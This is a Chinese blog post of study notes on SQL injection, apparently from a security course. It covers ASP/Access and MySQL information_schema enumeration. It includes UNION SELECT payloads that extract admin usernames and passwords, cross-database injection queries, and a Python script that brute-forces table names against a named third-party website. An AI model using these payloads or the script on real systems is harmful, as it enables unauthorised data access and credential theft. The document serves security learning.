当前位置: 首页 > article >正文

第24天sql注入(小迪安全学习)

前置知识(搭建环境失败,搞不了实验了,学下理论知识吧)

sql注入

脚本代码在实现代码与数据库进行数据通讯时(从数据库中取出相关数据),将定义的SQL语句进行执行查询数据时其中的SQL语句能通过参数传递自定义值来实现控制sQL语句,从而执行恶意的SQL语句可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。

危害

数据库可以干嘛,sql注入就能干嘛

sql语句功能(查询,删除,添加,修改等操作)

sql语句有写法规则,也就是说必须符合正确的写法才能执行成功

sql注入漏洞产生的根本条件,可控变量和特定函数

http://192.168.46.160:85/Production/PRODUCT.asp
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513
如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRoDucT.asp?id=1513&page=1
Production/PRODUCT.asp?id=1513 注入语句&page=1对
Production/PRODUCT.asp?id=1513&page=1注入语句 错

sql注入攻击流程:

1、猜测数据库类型

2、根据类型选择思路

Access   独立存在

数据库名

   表名

       列明

            数据

MYSQL   统一管理

最高数据库用户=root用户

数据库A=网站A=数据库用户A

   表名

       列明

            数据

数据库B=网站B=数据库用户B

数据库C=网站C=数据库用户C

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。MYSQL两种思路:
1、非ROoT的注入攻击:常规类的猜解
2、ROOT用户的注入攻击:文件读写操作,跨库查询注入等

怎么看是不是root用户,黑盒使用user()参数,白盒看连接的数据库即可

MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

information_schema.tables:记录列名信息表

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合root型注入攻击-user()

3、当前操作系统-看你是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

ROOT类型攻击-猜解数据,文件读写,跨库查询

获取当前数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

from information_schema.tables where table_schema='syguestbook'

获取表名sy_adminuser的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser'

and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,

3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据获取

当前mysq1下的所有数据库名

UNION SELECT schema_name,2 3 4 5,6 7 8 9 10 11 12 13 14 15,16,17

from information_schema.schemata

获取数据库名xhcms下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'

获取数据库名xhcms下的表manage下的列名信息:

UNION SELECT column name,2,3,4,5,6,7,8,9,10,11,12 13,14,15,16,17 from information schema.columns where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17 from xhcms/manage

select * from product where id=1513

select * from product where id=1513

查询admin表名:

union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

查询admin表名下的admin等列名

UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

#ASP+ACCESS-简易注入-字典猜解(组合iis+asp+access)

由于Access数据库特性导致这个SQI注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。

#ASP+Access-偏移注入-报错显示偏移注入就是解决表名已知,列名未知的情况!

还有一个编码注入,有一点麻烦,因为上篇博客有写sql注入,所以这篇没有详细写了,asp+access环境搭建有问题,暂时没有实战

看源代码,python写的

import base64
import requests

url='http://www.comresearch.org/researchDetails.php?id='
sqlin='1 union select 1,2,3,4,5,6,7 from '
for lieming in open('common-tables.txt'):
    lieming=lieming.strip()
    s=sqlin+lieming
    print(s)
    ss=base64.b64encode(s.encode('utf-8'))
    urls=url+ss.decode('utf-8')
    print(urls)
    s=requests.get(urls).content
    print(len(s))

源码没问题,漏洞被修了,不过也可以参考源码

参考文章(asp+access搭建)windows server2016

Windows 2016服务器环境安装IIS和创建ASP.NET网站的教程 - 知乎 (zhihu.com)

遇到问题,参考这篇文章,我的源位置是D://sources/sxs

windows server 2016 .NET Framework 3.5 安装 找不到源文件。_请使用“源”选项指定还原该功能所需的文件位置。有关指定源位置的详细信息,请参-CSDN博客


http://www.kler.cn/news/330731.html

相关文章:

  • GPT与大模型行业落地实践探索
  • OpenCV视频I/O(13)视频采集类VideoCapture之等待多个视频流中的任意一个变为可用状态函数waitAny()的使用
  • HKMG工艺为什么要用金属栅极?
  • 【Android】浅析六大设计原则
  • C++中的类型推导:auto 和 decltype 介绍
  • 如何理解矩阵的复数特征值和特征向量?
  • 【60天备战2024年11月软考高级系统架构设计师——第35天:系统安全设计——安全设计模式】
  • quiz: python网络爬虫之规则1
  • 【H2O2|全栈】关于CSS(8)CSS3扩充了哪些新鲜的东西?
  • ISP下载,IAP,ICP,USB转TTL下载SWIM、DAP-link、CMSIS-DAP、ST-LINK,SPI(通信方式),
  • 计算机视觉学习--目标检测Java开发案例
  • 【ios】---swift开发从入门到放弃
  • 【AIGC】AI时代的数据安全:使用ChatGPT时的自查要点
  • 【MySQL 07】内置函数
  • Pikachu-Sql Inject-搜索型注入
  • Python对数据库(MySQL,redis、MongoDB)的操作
  • 24.2.29蓝桥杯|单位换算--8道题
  • 【4.7】图搜索算法-DFS和BFS解根到叶子节点数字之和
  • Linux中的软硬链接和动静态库
  • 大模型压缩3种方式;模型大小的计算;知识蒸馏:利用教师的输入输出,训练调整学生的小模型